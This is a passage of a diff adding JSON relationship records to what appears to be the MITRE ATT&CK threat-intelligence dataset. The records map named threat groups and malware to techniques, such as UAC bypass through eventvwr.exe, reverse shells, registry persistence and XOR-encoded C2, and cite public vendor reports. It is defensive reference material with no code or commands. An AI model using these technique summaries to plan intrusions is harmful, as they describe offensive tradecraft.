"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "modified": "2019-07-27T00:09:36.228Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T12:40:51.973Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.037Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--44858dc2-c869-42a0-8f67-3ddd9660b538", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "relationship_type": "uses", + "target_ref": "tool--2fab555f-7664-4623-b4e0-1675ae38190b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SLOWDRIFT](https://attack.mitre.org/software/S0218) downloads additional payloads.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4c5ae895-9a08-40b6-a548-273a9f96ad5b", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. 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Retrieved September 29, 2015.", + "url": "https://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump_v2.0b5" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HALFBAKED](https://attack.mitre.org/software/S0151) can obtain information about the OS, processor, and BIOS.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d6154157-fe69-4da3-8cc3-790eecf33f8c", + "external_references": [ + { + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can bypass UAC and create an elevated COM object to escalate privileges.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c9412068-a35c-4be3-9945-a1f69f2f77db", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "relationship_type": "uses", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[S-Type](https://attack.mitre.org/software/S0085) uses Base64 encoding for C2 traffic.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--813e4416-bee6-4192-a712-6b5f80a7fff3", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", + "relationship_type": "uses", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [Komplex](https://attack.mitre.org/software/S0162) C2 channel uses an 11-byte XOR algorithm to hide data.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c08ef8e9-9e12-4bb2-9e6a-061934f33ea0", + "external_references": [ + { + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A Word document delivering [TYPEFRAME](https://attack.mitre.org/software/S0263) prompts the user to enable macro execution.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6d8d9425-86ec-42d3-bce5-2af53d4f1fad", + "external_references": [ + { + "source_name": "US-CERT TYPEFRAME June 2018", + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dipsind](https://attack.mitre.org/software/S0200) encrypts C2 data with AES256 in ECB mode.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--36b2817e-5f07-4f70-927c-8e04b955d5a3", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:34:25.507Z", + "type": "relationship", + "id": "relationship--2c0fe330-edcf-4519-a577-c3c9b086d60a", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.019Z", + "source_ref": "course-of-action--979e6485-7a2f-42bd-ae96-4e622c3cd173", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used net time to check the local time on a target system.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6c053469-7bd4-4b55-90b2-289a09aa53fa", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2019-03-22T19:57:37.313Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-22T19:23:13.532Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--17aef45b-9a3c-4192-af31-4a21300a90e0", + "external_references": [ + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "source_ref": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01", + "relationship_type": "uses", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Adversaries can instruct [Duqu](https://attack.mitre.org/software/S0038) to spread laterally by copying itself to shares it has enumerated and for which it has obtained legitimate credentials (via keylogging or other means). The remote host is then infected by using the compromised credentials to schedule a task on remote machines that executes the malware.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8d7cd505-3b0e-4e90-bf47-6552612958dc", + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "modified": "2019-04-24T23:18:53.242Z", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "relationship_type": "uses", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) has used TCP port 8080 for C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5bb39b9d-3651-4cdf-80b1-9d88b2062258", + "external_references": [ + { + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + } + ], + "modified": "2019-04-24T23:59:16.304Z", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) sent spearphishing emails with either malicious Microsoft Documents or RTF files attached.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cf9e7512-c510-4605-9035-f60335c351f4", + "external_references": [ + { + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + }, + { + "source_name": "DOJ FIN7 Aug 2018", + "description": "Department of Justice. (2018, August 01). HOW FIN7 ATTACKED AND STOLE DATA. Retrieved August 24, 2018.", + "url": "https://www.justice.gov/opa/press-release/file/1084361/download" + }, + { + "source_name": "Flashpoint FIN 7 March 2019", + "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.", + "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/ " + } + ], + "modified": "2019-06-30T23:13:18.467Z", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-22T15:08:48.552Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4cf4df8f-9eb3-4136-a082-ea1b5d7b398f", + "external_references": [ + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) gathers information on the system and local drives.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8bbf259b-029b-48fa-859b-5dbbbcd98b53", + "external_references": [ + { + "source_name": "Unit 42 Kazuar May 2017", + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "modified": "2019-04-24T15:26:03.726Z", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "During its initial execution, [BACKSPACE](https://attack.mitre.org/software/S0031) extracts operating system information from the infected host.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--16cb7ede-b431-4711-bcb1-91bc925663e5", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remsec](https://attack.mitre.org/software/S0125) can exfiltrate data via a DNS tunnel or email, separately from its C2 channel.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1ce50a6a-5f0b-40ca-9a71-41369ae3fdcd", + "external_references": [ + { + "source_name": "Kaspersky ProjectSauron Full Report", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "relationship_type": "uses", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SOUNDBITE](https://attack.mitre.org/software/S0157) is capable of enumerating application windows.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b640dfee-9502-4ffb-92e4-f153f8726383", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2", + "relationship_type": "uses", + "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T14:25:53.499Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--63185895-4afb-4886-adcc-fbfac1a117d6", + "external_references": [ + { + "source_name": "Mandiant No Easy Breach", + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "tool--d8d19e33-94fd-4aa3-b94a-08ee801a2153" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CallMe](https://attack.mitre.org/software/S0077) has the capability to create a reverse shell on victims.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c3d3bb7d-65cc-4915-bc28-492d341e6dbd", + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Many [ZeroT](https://attack.mitre.org/software/S0230) samples can perform UAC bypass by using eventvwr.exe to execute a malicious file.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1c395bb3-3b16-422f-bb00-9048b67b2337", + "external_references": [ + { + "source_name": "Proofpoint ZeroT Feb 2017", + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "relationship_type": "uses", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OwaAuth](https://attack.mitre.org/software/S0072) uses incoming HTTP requests with a username keyword and commands and handles them as instructions to perform actions.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d53d1e84-f4de-4e6a-bc84-5edfce84b055", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [JHUHUGIT](https://attack.mitre.org/software/S0044) variant takes screenshots by simulating the user pressing the \"Take Screenshot\" key (VK_SCREENSHOT), accessing the screenshot saved in the clipboard, and converting it to a JPG image.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--073215cd-bc1e-48e8-8f3a-7d24f18b32c6", + "external_references": [ + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + }, + { + "source_name": "Talos Seduploader Oct 2017", + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html" + } + ], + "modified": "2019-02-01T14:39:36.192Z", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mivast](https://attack.mitre.org/software/S0080) communicates over port 80 for C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8278fc85-24af-4f8a-9b82-3f233f18f5a6", + "external_references": [ + { + "source_name": "Symantec Backdoor.Mivast", + "description": "Stama, D.. (2015, February 6). Backdoor.Mivast. Retrieved February 15, 2016.", + "url": "http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RTM](https://attack.mitre.org/software/S0148) tries to add a Registry Run key under the name \"Windows Update\" to establish persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--37dd9a3c-dd52-4541-be7c-b490d026305c", + "external_references": [ + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The \"ZJ\" variant of [BACKSPACE](https://attack.mitre.org/software/S0031) allows \"ZJ link\" infections with Internet access to relay traffic from \"ZJ listen\" to a command server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7cbedb9a-666f-47eb-b70e-905bcf80940a", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "relationship_type": "uses", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HALFBAKED](https://attack.mitre.org/software/S0151) can obtain screenshots from the victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b4795040-fe94-429a-9853-f30c09ba05aa", + "external_references": [ + { + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dok](https://attack.mitre.org/software/S0281) prompts the user for credentials.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a7744970-817e-43c6-89e4-86907ac20361", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f36b2598-515f-4345-84e5-5ccde253edbe", + "relationship_type": "uses", + "target_ref": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:25:31.887Z", + "type": "relationship", + "id": "relationship--f1000a93-e87d-4acf-b71d-73c3bb05fd75", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.020Z", + "source_ref": "course-of-action--16f144e4-c780-4ed2-98b4-55d14e2dfa44", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sykipot](https://attack.mitre.org/software/S0018) may use netstat -ano to display active network connections.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--83ad6071-8874-49c9-98cd-0d493a8eeb07", + "external_references": [ + { + "source_name": "AlienVault Sykipot 2011", + "description": "Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.", + "url": "https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", + "relationship_type": "uses", + 